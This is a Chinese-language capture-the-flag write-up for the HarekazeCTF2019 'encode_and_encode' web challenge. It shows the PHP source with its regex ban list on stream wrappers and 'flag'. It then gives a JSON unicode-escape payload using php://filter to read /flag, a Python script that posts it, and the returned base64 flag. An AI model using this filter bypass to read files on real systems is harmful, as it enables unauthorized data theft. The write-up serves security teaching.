[HarekazeCTF2019]encode_and_encode
这队名...船员跑来CTF暴打萌新了QwQ
强迫症当场去世.jpg
/#pages/about.html
/#pages/lorem.html
/query.php?source
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
通过php://input
读取POST
的JSON
字符串,取page
属性传给file_get_contents
,再编码成JSON
返回
通过php://filter
进行base64
编码绕过对HarekazeCTF
格式的过滤,但这样会被is_valid
过滤
不过既然JSON
的字符串值套在双引号里面,大抵是能转义的罢👀
{
"page": "\u0070\u0068\u0070://filter/read=convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"
}
import requests
url = 'http://xxx.node4.buuoj.cn:81/query.php'
data = b'{"page": "\u0070\u0068\u0070://filter/read=convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}'
print(requests.post(url, data=data).content)
{
"content":"ZmxhZ3swNDJlYTk0My0yMmZkLTQ3NzEtODJmOS0xOGQwYzA1OGMxNDh9Cg=="
}
#Web #PHP #json #encoding #伪协议